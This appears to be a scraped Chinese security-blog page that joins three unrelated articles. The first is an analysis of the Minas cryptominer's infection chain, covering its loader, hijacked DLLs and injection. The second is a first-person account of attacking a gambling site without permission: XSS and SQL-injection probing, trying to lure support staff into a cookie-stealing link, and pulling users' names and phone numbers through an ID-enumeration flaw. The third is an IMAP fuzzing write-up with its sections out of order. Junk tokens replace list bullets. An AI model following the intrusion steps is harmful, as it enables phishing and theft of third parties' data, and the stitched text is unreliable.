HireHackking

2022年6月，卡巴斯基實驗室的研究人員在一個系統進程的內存中發現了一個可疑的shellcode。為此，他們深入分析了shellcode是如何放置到進程中的，以及受感染系統上的威脅隱藏在何處？ 感染鏈雖然研究人員無法複製整個感染進程，但他們能夠從PowerShell執行的位置重建它，如下圖所示。 攻擊流程 簡而言之，感染鏈如下： 马云惹不起马云PowerShell腳本通過任務計劃程序運行，並從遠程服務器下載lgntoerr.gif文件； 马云惹不起马云該腳本解密lgntoerr.gif，生成一個.NET DLL，然後加載該DLL； 马云惹不起马云.NET DLL從其資源中提取並解密三個文件：兩個DLL和一個加密的有效負載。提取的文件被放置在ProgramData目錄中。 马云惹不起马云.NET DLL創建一個任務，在系統啟動時通過任務調度程序自動運行合法的ilasm.exe組件； 马云惹不起马云任務調度程序從ProgramData目錄啟動ilasm.exe； 马云惹不起马云ilasm.exe從同一目錄啟動fusion.dll，這是一個惡意的DLL劫持程序； 马云惹不起马云fusion.dll加載第二個解密的DLL； 马云惹不起马云該DLL創建一個掛起的dllhost.exe進程； 马云惹不起马云然後，它對加密的二進製文件中的有效負載進行解密； 马云惹不起马云解密後的有效負載作為DLL加載到dllhost.exe進程中； 马云惹不起马云dllhost.exe進程的PID保存在ProgramData目錄中的一個文件中； 马云惹不起马云dllhost.exe進程將控制權傳遞給解密的有效負載； 马云惹不起马云 有效負載DLL提取並在內存中啟動挖礦DLL； 他們把這個惡意軟件命名為Minas。根據研究人員對感染鏈的重建，他們確定它是通過將編碼的PowerShell腳本作為任務運行而產生的，他們不太確信該腳本是通過GPO創建的： 編碼的PowerShell命令 技術細節PowerShell腳本的核心功能是啟動惡意軟件安裝進程。為此，PowerShell腳本從遠程服務器下載加密有效負載，使用自定義異或加密算法(密鑰為“fuckkasd9akey”)對其解密，並將負載加載到內存中： 已解碼的PowerShell命令 負載是由PowerShell進程啟動的.NET二進製文件（DLL），它傳遞三個參數： $a.GetType(“I.C”).GetMethod(“I”).Invoke($null, ([Byte[]]($d),”A5D9FD13″,0)); 1.$d:NET DLL作為字節數組； 2.A5D9FD13:（用於對.NET DLL中的資源進行解密的密鑰）； 3.0:（用於阻止創建多個主有效負載進程的參數）； 此.NET二進製文件（他們將其稱為“安裝程序”）負責.NET DLL資源中包含的惡意軟件組件的後續安裝。 使用哈希函數(Ap, SDBM, RS)，安裝程序創建一個目錄結構： 示例文件和目錄 接下來，它檢查系統上是否存在合法的ilasm.exe文件(版本4.0.30319位於%windir%\Microsoft.NET\Framework64\v4.0.30319\ilasm.exe或版本2.0.50727位於%windir%\Microsoft.NET\Framework64\v2.0.50727\ilasm.exe)。注意，如果系統上存在ilasm.exe，它應該在這些目錄之一中)。如果沒有找到該文件，安裝進程將被終止。只要找到ilasm.exe，就會創建一個計劃任務作為持久機制: 在此之後，文件被複製到前面提到的創建的目錄中 然後，惡意軟件繼續將安裝程序的前100個字節附加到從“_64_bin”. net DLL資源中提取的文件{RSHash(MachineName)}中，並且生成的文件被加密(密鑰是小寫的計算機名稱)。另外，在“fusion.dll”和“{SDBMHash(MachineName)}.dll”文件中添加了多達10240個隨機字節，導致反惡意軟件產品的哈希檢測無效。 之後，安裝程序為運行的ilasm.exe啟動先前創建的任務，該任務反過來加載位於同一目錄下的惡意fusion.dll庫，假設它正在使用合法的fusion.dll (DLL劫持技術)。 惡意軟件的執行進程包括兩個加載程序：DLL劫持程序fusion.dll和下一階段的加載程序{SDBMHash(MachineName)}. DLL。 DLL劫持程序做三件事： 1.隱藏ilasm.exe進程的控制台。 2.確定進程名是否為ilasm.exe。如果不是，則終止進程。 3.基於SDBM哈希函數，它構建路徑C:\ProgramData\{SDBMHash(MachineName)}\{SDBMHash(MachineName)}. DLL並嘗試通過LoadLibraryA API函數將該DLL加載到內存中。 加載的{SDBMHash(MachineName)}.dll DLL再次檢查進程名是否為ilasm.exe。 然後生成文件路徑C:\ProgramData\{SDBMHash({SDBMHash(MachineName)})}並檢查它是否存在。如果文件存在，則從中讀取值(十進制數)。這個十進制數字是dllhost.exe進程的PID乘以先前運行Minas時創建的0x144。加載程序然後嘗試用該PID終止進程。 然後，它讀取並解密(記住，密鑰是小寫的計算機名稱)位於C:\ProgramData\{ApHash(MachineName)}\{RSHash(MachineName)}\{RSHash(MachineName)}的主有效負載(挖礦)。此外，加載器創建一個進程環境變量(SetEnvironmentVariable)配置，其值為{“addr”:”185.243.112.239:443″,”p”:”143e256609bcb0be5b9f9c8f79bdf8c9″} 。 通過進程傳遞參數 之後，{SDBMHash(MachineName)}.dll創建一個掛起的dllhost.exe進程，創建一個節，將其映射到dllhost.exe進程並寫入先前讀取和解密的文件(帶有挖礦組件的原始加載器)。然後它讀取dllhost.exe進程的內存，確定主線程的入口點並將其重寫為： 然後將創建的dllhost.exe進程的PID乘以0x14f寫入C:\ProgramData\{SDBMHash({SDBMHash(MachineName)})}，之後dllhost.exe進程繼續運行。然後終止ilasm.exe進程。 最後，DLL .exe將控制流傳遞給解密的原始加載器，該加載器在進程內存中映射XMRig挖礦程序(XMRig挖礦程序的DLL文件形式的彙編)，然後使用反射加載啟動它。 挖礦程序使用(GetEnvironmentVariable)獲取進程環境變量配置的值。這些值用於通過以下配置挖掘加密貨幣: 總結Minas是一個使用標準實現並旨在隱藏其存在的挖礦程序。由於加密、隨機生成名稱以及使用劫持和注入技術，檢測難度得以實現。它還能夠使用持久性技術駐留在受感染的系統上。 雖然研究人員目前還無法完全確定初始PowerShell命令是如何執行的，但很可能是通過GPO執行。

1、偶然间发现一个菠菜站点，遂测试一番，思路如下：既然是菠菜站，肯定会让用户注册，否则怎么收钱了？注册这种和用户强交互的页面，可能存在的漏洞如下： sql注入：用户输入的账号信息，如果不经过滤直接用来写入或查询数据库，肯定存在sql注入xss：在输入框输入的个人信息，大概率会被展示在用户的页面；同时管理员肯定有权限在后台查看用户的个人信息，这里可能会有存储型xss；就算是反射型或DOM型xss，由于这类站点有客服，可以想办法诱骗客户点击链接，达到偷cookie或其他目的；平行越权：用户登陆时、登陆后查看某些页面，此时抓包，如果有类似id字段，通过更改id号可能能看到其他用户、甚至管理员的信息CSRF：修改账号信息，比如密码；或则修改邮箱，再通过邮箱修改密码；支付漏洞：抓包改参数，造成0元支付2、顺着这个思路，不管三七二之一，先上工具试试注册页面，结果如下：发现2个高危的xss； （1）先看第二个：把提示的参数换成检测工具的payload后，页面如下：自己的payload居然被完整的在页面展示，没有任何过滤，高兴死我了； 由于payload本身就在JS内部，所以刚开始并未构造script标签，而是直接用类似 '19736%0a',}%0aalert(666);%0a' 这种payload，目的是让alert(666)直接暴露在后台原有的script标签里，但反复尝试了好多个都不行，只能调整思路，重新构造script标签，这次成功，如下；说明这个xss没误报； 另一个是cookie里面的，把sessionid改了，也能直接出现在页面的html源码；和上面第一个类似，都可以构造script执行自己的js代码；不过由于不知道后台源码，不能确定这里是否是存储型xss，也不能通过构造url诱骗别人点击，我个人觉得意义不大，这里不再验证； 由于目前还无法登陆后台，其他xss是否是存储型还不确定，现阶段暂不继续验证其他xss漏洞； （2）登陆界面抓包，用户名和密码居然明文传输，WTF....... 放过后，又抓到新包，放入repeater尝试：里面有个字段captcha是验证码，删掉后服务器任然会执行，并且不会提示验证码错误，而是用户名或密码错误，省了不少事；先用正确的账号测试，发现返回的status是Y，一切正常； 然后开始用 单引号、双引号、括号、') or 1=1 -- qwe 等各种sql注入的payload尝试，返回都如下： 　 右边那一串native编码解码后为: “请输入4-15个字元, 仅可输入英文字母以及数字的组合”； 看来是有意做了过滤，只能输入字母和数字，并且不能输入任何特殊符号，这里大概率不存在sql注入；（有些站点前端页面也有说说明，并且实在后台服务器端检验，不是再前端用js检验，想用burp抓包后改字段也不行） （3）平行/垂直越权：有些站点登陆后，cookie里面会带上各种id，比如uid=123、groupid=456、telno=135000387465等等，很容易看出字段的含义，并且更改数值后看到其他用户甚至管理员的数据；但这里的cookie都是各种session，剩下各种数字的字段无法看出啥含义，用burp尝试不同的数值都返回status:N，这条路也走不通； 　（4）0元支付：在支付界面抓包，把request包的内容解码，发现里面又sign字段，会对其他字段做校验，改金额的话需要逆向校验算法，再重新计算sign值，这里暂时放弃；PS：这里终于暴露了user_id； 3、通过xray扫描，发现一个resin-viewfile漏洞。 根据扫描提示，改file=xxxx的内容，果然能查到部分文件，比如下面的配置文件； 　 　这个漏洞类似SSRF，可以遍历内网文件；遂在github找漏洞利用的工具，同时用burp跑字典挨个穷举目录和文件，但只发现了如下文件，都是常规的文件和路径，没找到预期的各种配置（比如账号）文件； 　想遍历C盘，貌似有防护； 这个漏洞暂时放弃； 4、截至目前，已发现能利用的只有XSS，而且还是反射型的，只能先找个xss平台生成一个偷cookie的script标签，嵌入到有xss漏洞的url，然后找到客服MM，诱骗其点击；结果客服MM不但没上当，还发我新链接，让我重新试试新的站点，WTF......... 　 好吧，重试就重试，于是继续搞新站点；用账号登陆新站点后，主要找和用户有交互的页面（这里涉及大量传参，可以改动的空间很大，出现漏洞的几率比静态网页大很多）；花了大量时间，查看了无数链接后，貌似出现了转机，如下： 　　这里返回了一个json串，里面有账号名、电话、昵称、权限等各种敏感数据，url里面还有client关键词，难道这是查看用户信息的接口？马上用burp抓包，更改url中纯数字的参数（纯数字意味着索引，而且容易穷举），果然不出所料，炸出部分注册用户的信息： 　　 5、另外，通过xray还发现了CORS漏洞（数以CSRF的一种），也要想办法诱骗客户、管理员或平台其他的用户点击，这里暂时不深入； 这个菠菜站点总结：1、用户在form的输入做了严格限制，sql注入和xss都屏蔽 2、resin漏洞不痛不痒，拿不到敏感数据 3、支付：有sign字段校验，需要先破解校验算法 4、最终有个页面传参未做校验，通过更改数字类参数的值爆破出了部分用户信息； 5、可能是因为业务原因，前端页面暂时没有找到任何上传文件的地方，目前还找不到上传小马的方法； 参考：1、 https://blkstone.github.io/2017/10/30/resin-attack-vectors/ 针对Resin服务的攻击向量整理 转载于原文链接地址： https://www.cnblogs.com/theseventhson/p/13738535.html

上一篇文章主要講的是理論上的可能性，本文，我們會詳細介紹實踐中遇到的一些挑戰。 挑戰1：可擴展存儲引擎緩存清理WindowsMail利用統一的存儲數據庫將電子郵件數據（例如電子郵件地址和消息）保存在本地文件系統中。此數據庫位於路徑%LOCALAPPDATA%\Comms\UnistoreDB\store.vol。可擴展存儲引擎(ESENT)使用專有的二進制格式為其數據結構構建數據庫。這種二進制格式可以使用像ESEDatabaseView這樣的工具來查看。使用ESENT的好處是它有一個緩存機制，可以最大限度地高性能訪問數據。這種緩存機制是我們遇到的第一個障礙。 在後台，緩存緩衝區根據系統服務啟動UserDataService時初始化的ESENT參數JET_paramVerPageSize分配一個大小。默認緩存大小為0x2000，必須與頁面大小粒度對齊。但是，這在WTF模糊器模塊的上下文中成為一個問題。 問題是，當緩存緩衝區已滿時，ESENT將工作項排隊以清除緩存緩衝區。工作項是程序可以提交給線程池的子例程。工作項是異步執行的，並且調度程序系統會根據系統資源的可用性發出警報。遺憾的是，這是一個複雜的機制，WTF模糊器無法模擬。因此，fuzzer模塊將在上下文切換時退出，當它碰到線程API（例如，KERNELBASE!QueueUserWorkItem）時退出。讓模糊器超越上下文切換是對CPU時間的浪費。這就是為什麼你應該在每個WTF模糊器模塊中找到類似的斷點處理程序的原因： 在上下文切換期間停止模糊器模塊的斷點處理程序 當發生意外的上下文切換時，開發者必須了解它發生的原因並實施解決方法以達到所需的代碼路徑。這可以通過分析WTF模糊器生成並由0vercl0k的Symbolizer後處理的覆蓋跟踪日誌來完成。下圖顯示了在上下文切換處停止的覆蓋跟踪日誌示例： 通過Symbolizer生成的覆蓋跟踪日誌示例 這裡沒有復雜的技巧來分析覆蓋跟踪日誌。我們只需進行回溯以定位模塊或函數轉換（即modA!funcnameX-modB!funcnameY）以發現上下文切換的原因。通常，我們將模塊文件加載到IDAPro中以統計研究和理解底層代碼。有時，執行靜態代碼分析可能還不夠，尤其是當代碼包含IDAPro無法自動解析的虛函數調用時。相反，你可以使用TTD來解析虛函數調用或探索執行的代碼。 覆蓋跟踪日誌揭示了上下文切換的原因 上圖顯示ESENT!CGPTaskManager:ErrTMPost+0xd4調用KERNELBASE!QueueUserWorkItem，本質上是在線程池隊列中放置一個可執行線程，而ESENT!CGPTaskManager:ErrTMPost是從ESENT!VER:VERSignalCleanup派生的。在深入分析該函數後，在TTD的幫助下，我們確定了ESENT!VER:VERSignalCleanup的目的是將當前緩衝區緩存大小與通過JET_paramVerPageSize指定的默認緩存大小進行比較。它調用QueueUserWorkItem來執行緩存清理線程，ESENT！ VER:VERIRCECleanProc，如果當前緩存緩衝區被填滿，最終會導致上下文切換。因此，我們面臨的挑戰是找到一種方法來防止觸發清理程序。 我們首先想到的是，最簡單的解決方法是將默認緩存大小從0x2000增加到其最大大小0x10000。從技術上講，數據庫引擎的配置設置可以根據MSDN文檔使用API JetSetSystemParameter進行調整。但是，我們無法通過使用外部程序來更改駐留在隔離的系統服務進程空間中的設置來實現這一目標。 清單3：顯示系統主機服務集數據庫引擎配置設置的調用堆棧 查看清單3中的調用堆棧，然後我們考慮通過劫持UserDataService並在數據庫引擎配置設置發生之前在ESENT.dll中的特定偏移處調整硬編碼的默認緩存大小來解決此問題。我們決定試一試。 劫持服務DLL很簡單。我們可以定位到目標服務註冊表項，定義如下： HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\UserDataSvc\Parameters ServiceDLL=%SystemRoot%\System32\userdataservice.dll 當ServiceDLL條目調整為我們自定義的服務DLL文件時，它將變成： HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\UserDataSvc\Parameters ServiceDLL=c:\userdatasvc\UserDataSvcProxy.dll 自定義服務DLL導出兩個強制模型函數，ServiceMain和SvchostPushServiceGlobals。修改上述註冊表項後，系統服務將加載自定義服務DLL，該DLL執行模型ServiceMain函數。模型ServiceMain函數將在ESENT.dll中的特定偏移處修補JET_paramVerPageSize。打補丁後，它會將執行傳遞給UserDataService導出的初始ServiceMain函數，並像往常一樣繼續它的初始例程。 清單4：顯示自定義服務DLL劫持UserDataService的調用堆棧 設置完後，我們針對新的快照映像運行模糊器模塊，並加載了自定義服務DLL，該DLL應將緩存大小調整為0x10000。但不幸的是，它仍然hits=清理過程。因此，我們需要找出另一種解決方法。 我們查看了ESENT!VER:VERSignalCleanup，但意識到該函數不返回調用函數的值，這使我們相信函數例程並不關心這個清理過程是否成功執行。最重要的是，它似乎不跟踪任何可能導致ESENT中意外行為的全局狀態或事件。考慮到這些，我們決定跳過這個清理過程，只需設置一個斷點來模擬這個函數，即在命中斷點時立即返回到調用者，如下圖所示： 跳過ESENT!VER:VERSignalCleanup以避免上下文切換 這樣，我們的模糊器模塊可以在清理過程之外執行，而無需點擊上下文切換！但是，需要注意的是，這可能會大大增加快照映像內的內存使用量。但這不應該給我們帶來任何潛在的問題，因為一旦完成模糊測試迭代，快照映像就會恢復到其原始狀態。換句話說，懸空緩存緩衝區可以忽略不計。 挑戰2：加載一個卸載的DLL並執行分頁內存如果你熟悉軟件模擬，就會明白讓模擬器的行為像本機計算機一樣是不可能的。同樣的事情也適用於WTF模糊器。當出現這種限制時，我們需要找到解決方法。但根據面臨的限制的複雜性，有些解決辦法可能很簡單，有些解決辦法就像調整快照映像一樣簡單。 我們遇到的下一個問題是，當WTF嘗試從文件系統加載已卸載的DLL文件時會發生上下文切換。同樣，我們通過分析覆蓋跟踪日誌和一些代碼片段確定了問題的根本原因，如下圖所示。從覆蓋跟踪日誌中，我們可以看出CoCreateInstanceAPI是從MCCSEngineShared!Decode2047Header+0xfe調用的。此COMAPI負責加載在類ID中指定的COM對象，在本例中為CLSID_CMultiLanguage。此類ID對應於C:\WINDOWS\SYSTEM32\mlang.dll。 加載卸載的DLL文件 有了這些信息，我們手動將COM對象DLL注入目標進程，將映像轉儲為新的快照，並對其進行測試。結果，它超越了MCCSEngineShared!Decode2047Header，但我們遇到了另一個問題。 由內存訪問錯誤導致的另一個上下文切換 查看上圖中的覆蓋跟踪日誌後，我們意識到發生了從用戶模式exsmime!CMimeReader:FindBoundary到內核模式nt!MiUserFault的異常代碼執行轉換。我們的經驗表明，模擬器可能已命中保留的內存地址或換出到頁面文件的內存地址。這是一種常見的Windows內存管理機制，出於性能原因將不經常使用的內存保留在頁面文件中。為了驗證這一點，我們使用WinDbg調試器加載內存轉儲並檢查在exsmime!CMimeReader:FindBoundary+0x4f處指定的代碼，如圖10所示。 調用虛函數時的內存訪問錯誤 它從虛函數表中調用虛函數，但虛函數的目的地exsmime!CHdrContentType:value是通過TTD快照確定的，如下圖所示： 使用TTD確定虛函數的目的地址 為了解決這個內存訪問問題，我們運行了lockmem實用程序，它確保指定進程的每個可用內存區域都將保留在內存中，因此它不會被寫入頁面文件，這會在訪問時引發頁面錯誤。為獲得最佳結果，始終建議執行完整的內存轉儲，以避免其他不可預見的內存訪問問題。當你對內核模式組件進行模糊測試時，此技巧特別有用。 挑戰3：註冊表掛鉤Windows註冊表是一個分層數據庫，用於存儲Windows操作系統和應用程序的低級設置。該數據庫將註冊表配置單元的信息保存在文件系統中。也就是說，註冊表操作在一定程度上涉及到I/O操作。由於模擬器都不支持這些操作，因此我們需要復制這些功能。 在撰寫本文時，WTF提供了一個fshook子系統來複製I/O操作，但不提供註冊表掛鉤（此後是reghook）。顯然，我們不能為reghook重用fshook，因為它們是不同的API，但我們可以將fshook中的一些實現調整為reghook。例如，我們可以重用fshook和RegHandleTable_t類中的偽句柄算法。 fshook和reghook之間的關鍵區別在於如何模擬預期內容（(即用於I/O操作的文件內容和用於註冊表操作的註冊表數據）。例如，對於reghook，如果註冊表操作要打開一個新句柄，則調用RegOpenKeyAPI來打開特定註冊表項的句柄。其對應的鉤子處理程序將API調用重定向到本機。換句話說，本機設備將嘗試使用本機API打開註冊表項，如果註冊表項存在，則返回句柄。打開的句柄對本機有效，但對作為內存轉儲的客戶機無效。因此，應該生成一個偽句柄並將其映射到本機句柄。 重申一下，當前的regook實現是不完整的，並且沒有針對其他目標進行全面測試。但是擴展現有的regook以支持其他註冊表API應該相當簡單。 奇特的RFC822.SIZE案例在部署和分發模糊器模塊後，我們開始收集模糊器收集的有趣輸入。從那裡，我們開始生成代碼跟踪，並使用Lighthouse插件將其加載到IDAPro中以進行進一步分析。 我們首先對InternetMail.dll進行逆向工程，以找到操縱變異輸入的代碼，特別是模糊器提供給目標的ResponseParams。此時，FETCH響應中的一個有趣的ResponseParams，RFC822.SIZE，立即引起了我們的注意。經查，RFC822.SIZE是FETCH命令的屬性之一，表示消息的大小。簡單地說，它告訴電子郵件客戶端到達客戶端的整個電子郵件消息的大小，包括電子郵件標題、內容和附件。 有趣的是，從清單5中的代碼片段來看，該值的代碼清理非常簡單，只需確保消息的大小不是4GB（基數為10的4294967295或32位十六進制的0xFFFFFFFF）即可。這樣做時會產生錯誤。 清單5：獲取RFC822.SIZE並將其保存在數據結構中 在(1)中，如果strtoul無法執行有效轉換，則返回零值。但是，似乎(2)中的代碼清理沒有意義，因為4294967294（32位十六進制中的0xFFFFFFFE）之類的值可能會繞過檢查並造成算術溢出，如果該值將用於某些算術運算代碼中的某處。在深入研究代碼後，我們只發現了一個操縱該值的函數。毫不奇怪，我們在這裡看到了相同的代碼清理。 清單6：HeaderParser:_PostNewMessageCreation操作RFC822.SIZE 在(A)中，從pImapSyncContext中檢索到v1指針，表明未知指針可能與某些保持某些同步狀態的數據結構有關。進一步查看代碼，我們在(B)和(C)中看到兩個算術運算。對於(B)，根據RFC822.SIZE的值進行增量操作，並將增量值的結果保存到v1指針，而RFC822.SIZE值在(C)中聚合。這似乎值得深入研究。 因此，我們準備了一個由多個FETCHResponseParams和偽造的RFC822.SIZE組成的IMAP數據包，然後使用TTD捕獲執行的代碼。 清單7：具有兩個FETCH響應參數的IMAP數據包使用偽造的RFC822.SIZE 清單8：調試器輸出顯示v1指針中RFC822.SIZE的聚合值 清單8中突出顯示的區域清楚地表明聚合值溢出了v1指針中的相鄰字段。但我們不確定被覆蓋的字段是否會帶來任何安全問題。因此，我們需要確定此原始內存的數據結構字段。我們使用TTD.Utility.GetHeapAddress來顯示堆的起始地址以及分配和初始化堆地址的位置。 v1指針的GetHeapAddress輸出和堆分配調用堆棧 根據TTD.Utility.GetHeapAddress的輸出，我們確定v1指針的起始堆地址為0x251a1f58f60，並從SYNCUTIL!SyncStatsHelpers:_LookupAccountSyncStats初始化。在這個函數中，我們意識到v1指針被傳遞給SYNCUTIL!SyncStatsHelpers:_LoadSyncStats，它將各種統計信息加載到v1指針引用的數據結構中。

網絡協議是一組規則，定義了用於解釋計算機發送的原始數據的標準格式和過程。網絡協議就像計算機的通用語言。網絡中的計算機可能使用截然不同的軟件和硬件；協議的作用就是使其可以相互通信。 許多網絡協議服務於不同的目的，其中一些可能很複雜。由於其固有的複雜性，網絡應用程序中的安全漏洞是不可避免的。與其他攻擊媒介相比，網絡應用程序中的安全漏洞通常會產生更顯著的安全影響，因為攻擊者可能能夠利用這些漏洞在易受攻擊的計算機上獲得遠程代碼執行狀態，而無需任何用戶交互。我們已經在現實生活中看到過此類攻擊，例如臭名昭著的WannaCry勒索軟件，它利用簡單消息塊(SMB)協議（稱為EternalBlue）通過加密數據和要求以比特幣加密貨幣支付贖金來攻擊MicrosoftWindows計算機。迄今為止，據估計，這種惡意軟件已經影響了150個國家的20多萬台電腦。 強化網絡應用程序是一項關鍵任務，可以最大限度地減少WannaCry等攻擊媒介。研究人員致力於確保使用網絡協議模糊測試等工具正確保護許多最流行的網絡應用程序。這種漏洞發現技術將格式錯誤的數據包發送到正在測試的應用程序，以發現網絡協議實現中的漏洞。發現並報告這些漏洞，特別是在常用應用程序中，有助於降低每個人的網絡風險。 Fortinet的研究人員與其他威脅研究團體一起幫助實現這一目標。在本博客中，我們記錄了審核和模糊測試MicrosoftInternet消息訪問協議(IMAP)客戶端協議的過程。雖然我們沒有發現任何新漏洞，但詳細的指南可以幫助其他人在他們的威脅發現和分析工具庫中添加或改進模糊技術策略。 為什麼選擇IMAP客戶端協議？網絡應用程序使用客戶端和服務器架構來交換數據。然而，即使它們共享相同的網絡協議規範，客戶端和服務器之間的數據解釋也是不同的。數據解釋通常由在各個組件中實現的解析器按照單獨的規範執行。因此，研究人員必須同時檢查客戶端和服務器，以確保解析器正確實現。 我們的經驗表明，在審計安全實現時，服務器比客戶端更受研究人員的關注。但是，不太安全的客戶端也可能包含可以被利用的高價值目標。但是由於我們沒有看到供應商公開報告的許多IMAP客戶端安全問題，我們決定研究IMAP客戶端實現，同時獲得一些關於開源模糊器WhatTheFuzz(WTF)的實踐經驗。 WTF是一種分佈式、代碼覆蓋引導、可定制、跨平台的基於快照的模糊器，旨在攻擊運行在MicrosoftWindows上的用戶或內核模式目標。 本文中沒有漏洞披露，因為我們沒有在MicrosoftIMAP客戶端中發現任何安全問題。但我們確實分享了一些兔子洞、我們遇到的限制以及調試WTF模糊器模塊的提示和技巧。我們還將介紹一個特別有趣的IMAP響應輸入的逆向過程，該輸入最初似乎很脆弱，但在深入研究代碼後發現是良性的。 了解基本IMAP協議IMAP客戶端支持用於不同IMAP操作的各種命令。客戶端命令開始一個操作並期望來自服務器的響應。每個客戶端命令都以稱為“標記”的標識符作為前綴。對於客戶端發送的每個命令，這個“標籤”應該是唯一的。通常，客戶端命令如下所示： 重要的是，客戶端必須嚴格按照規範遵循語法。發送缺少或無關的空格或參數的命令是一個語法錯誤。 IMAP連接包括建立客戶機/服務器網絡連接、來自服務器的初始問候以及客戶機/服務器交互。這些客戶機/服務器交互包括客戶機命令、服務器數據和服務器完成結果響應。 客戶端和服務器傳輸的所有交互都是行的形式，即以回車和換行結尾的字符串。 客戶端需要做的第一件事是在特定端口上與遠程服務器建立連接。在這種情況下，我們使用openssl從終端連接到自定義IMAP服務器。 注意到服務器狀態響應以“*”為前綴，稱為未標記響應，表示服務器問候，或服務器狀態不表示命令完成（例如，即將發生的系統關閉警報）。 客戶端通常發送的下一個命令是CAPABILITY。 CAPABILITY命令允許客戶端獲取服務器支持的功能列表。未在未標記響應中列出的任何功能都將被標記響應中指示的服務器視為BAD命令。 狀態響應可以加標籤或不加標籤。標記狀態響應指示客戶端命令的完成結果（OK、NO或BAD狀態），並具有與命令匹配的前綴標記。 客戶端必須先向IMAP服務器進行身份驗證，然後才能導航郵箱。有一些IMAP服務器實現允許匿名訪問某些郵箱。像下面的例子一樣，我們的自定義IMAP服務器允許匿名訪問。但是，值得注意的是，經過身份驗證的客戶端的功能列表通常與未經身份驗證的客戶端不同。登錄的客戶端通常包含更多來自IMAP服務器的未鎖定功能。 現在客戶端已登錄，它可以列出郵箱中存在的文件夾 這樣，我們就可以看到郵箱中存在的文件夾層次結構。文件夾具有名稱屬性，在括號中表示。一些屬性對於遍歷文件夾層次結構很有用，例如HasNoChildren和HasChilden。 HasNoChildren屬性的存在表明郵箱沒有當前經過身份驗證的客戶端可訪問的後來郵箱。 在知道郵箱的文件夾結構後，客戶端可以使用SELECT命令在該文件夾上打開一個會話，以便訪問郵箱中的郵件。 當返回選中狀態時，服務器必須先將上述未標記的數據發送給客戶端，然後再向客戶端返回OK。如果選擇狀態建立成功，則稱客戶端處於選擇狀態，可以從郵箱中搜索和下載消息。 SEARCH命令在郵箱中搜索與給定搜索條件匹配的郵件。搜索條件由一個或多個搜索關鍵字組成。它可以支持更全面的搜索條件，例如查找具有指定字段名稱的標題並且在標題的文本中包含指定字符串的消息。上面的示例顯示了最簡單形式的SEARCH命令，它將搜索服務器中的所有可用消息。未標記的響應表明自定義IMAP服務器中有一條消息可用。 一些客戶端提供電子郵件消息的預覽。這可以通過使用FETCH命令僅下載消息標頭來完成。而UIDFETCH命令將下載整個電子郵件消息並將其本地存儲在客戶端應用程序中。 IMAP客戶端—服務器的狀態和流程圖 使用IMAP客戶端模糊器的可能性在現代模糊控制中，需要有一個線束與主模糊控製程序一起驅動模糊控制操作。雖然這不是強制性的WTF模糊器，一個專用的模糊器模塊是必需的。如果你有AFL/WinAFL的經驗，很多時間將花費在編寫一個有效的harness程序上，但是你將花費大部分時間開發和排除WTF模糊器模塊的故障。在內部，WTF模糊器充當模擬器，以編程方式模擬由模糊器模塊驅動的內存轉儲中的代碼。基本上，模糊器模塊的核心由函數斷點和斷點處理程序組成。這些斷點處理程序由用於不同目的的邏輯組成，例如攔截和修改目標使用的輸入數據，以及復制功能(如I/O操作、註冊表操作和線程調度)。該項目的存儲庫為模糊器開發過程提供了全面的指導方針。 首先，必須確定要模糊化的目標組件，並轉儲一個虛擬映像的快照，以供模糊化模塊使用。根據來自項目存儲庫的文檔，該快照映像通常取自感興趣的目標模塊的入口點，其中解析器例程使用輸入數據。在MicrosoftIMAP客戶端中，InternetMail.dll是實現IMAP和POP3客戶端協議的目標組件。這個DLL模塊由Windows服務宿主進程託管，也被稱為svchost.exe。 WindowsMail是與該模塊交互的前端用戶界面(UI)，用戶可以通過該界面設置IMAP帳戶，並從郵件服務器下載郵件消息。在編寫我們的IMAP客戶端模糊器模塊時，我們遇到了許多障礙，幸運的是，其中一些在項目的問題跟踪器中有部分記錄。儘管大多數障礙都是針對於你所致力於的任何目標，我們認為記錄這些挑戰和我們的工作區可能會有所幫助。 為IMAP客戶端模糊器模塊開發做準備為WTF模糊器編寫一個模糊器模塊並不是一件容易的事。這是因為我們試圖從內存轉儲中模擬代碼。在軟件模擬世界中，你不能期望模擬代碼的行為與在本機設備上執行的代碼相同。因此，要使模擬按預期工作，需要解決許多障礙。因此，在開始之前確定適當的工具來跟踪和調試模糊器模塊是至關重要的。 WTF模糊器支持兩種類型的跟踪文件，覆蓋跟踪日誌和Tenet跟踪文件。基本上，覆蓋跟踪日誌包含模擬器正在執行的每條指令的跟踪。它有助於診斷大多數模糊器模塊問題。 Tenet跟踪文件包含每條執行的指令以及每條指令操作的內存/堆棧數據。 Tenet插件只能使用一個Tenet跟踪文件。 Tenet是一款出色的跟踪記錄和回放IDAPro插件，可用於離線調試。 WTF模糊器生成的Tenet跟踪文件可以通過IDAPro回放。這樣，它允許用戶探索已執行的代碼，甚至分析讀取/寫入內存/堆棧的數據，從而使調試和故障排除模糊器模塊變得更加容易。 但是，需要注意的是，如果記錄的跟踪文件太大，插件需要很長時間來處理它。例如，一個幾千兆字節的跟踪文件很容易占據大部分主機內存，這可能無法通過IDAPro重播跟踪。作為一種解決方法，我們向WTF模糊應答器引入了一個“——trace-start -address”命令行參數，以便模糊應答器只有在到達指定地址時才開始跟踪。這個新引入的命令行參數顯著減少了跟踪文件的大小。然而，這種過濾機制的結果在某些情況下並不是很成功。我們有時仍然會得到一個大的跟踪文件，因為所關心的函數中的起始地址不是唯一的。例如，函數可能會在多個不確定的位置觸發，導致跟踪器意外觸發，這就違背了我們的目標。 經過測試，我們發現WinDbg Preview中的time - trip - debugging (TTD)特性也可以用於離線調試。 WinDbg預覽將附加一個正在運行的進程，並在目標進程中註入一個TTD專有的跟踪DLL。注入的跟踪程序DLL負責捕獲目標進程的運行時執行，並將執行的代碼保存在存儲在物理磁盤中的跟踪文件中。為了模擬這個過程，我們創建了一個簡單的IMAP服務器，它讀取以JSON格式定義的IMAP數據包，並在IMAP連接建立時將數據包發送給連接的客戶端Windows Mail。同時，WinDbg Preview被附加到Windows主機進程，用於服務記錄代碼執行情況。這種方法的缺點是每次只能手動生成一個執行跟踪。但是，TTD仍然是一個有用的特性，可以補充離線調試體驗。 為目標可執行文件生成代碼執行跟踪的替代方法 另一個用例通過比較TTD和Tenet生成的跟踪信息，利用差異調試技術對模糊器模塊產生的更多問題進行深度故障排除。儘管如此，Tenet仍然是在模糊器模塊開發過程中產生跟踪文件來調試更複雜問題的首選。 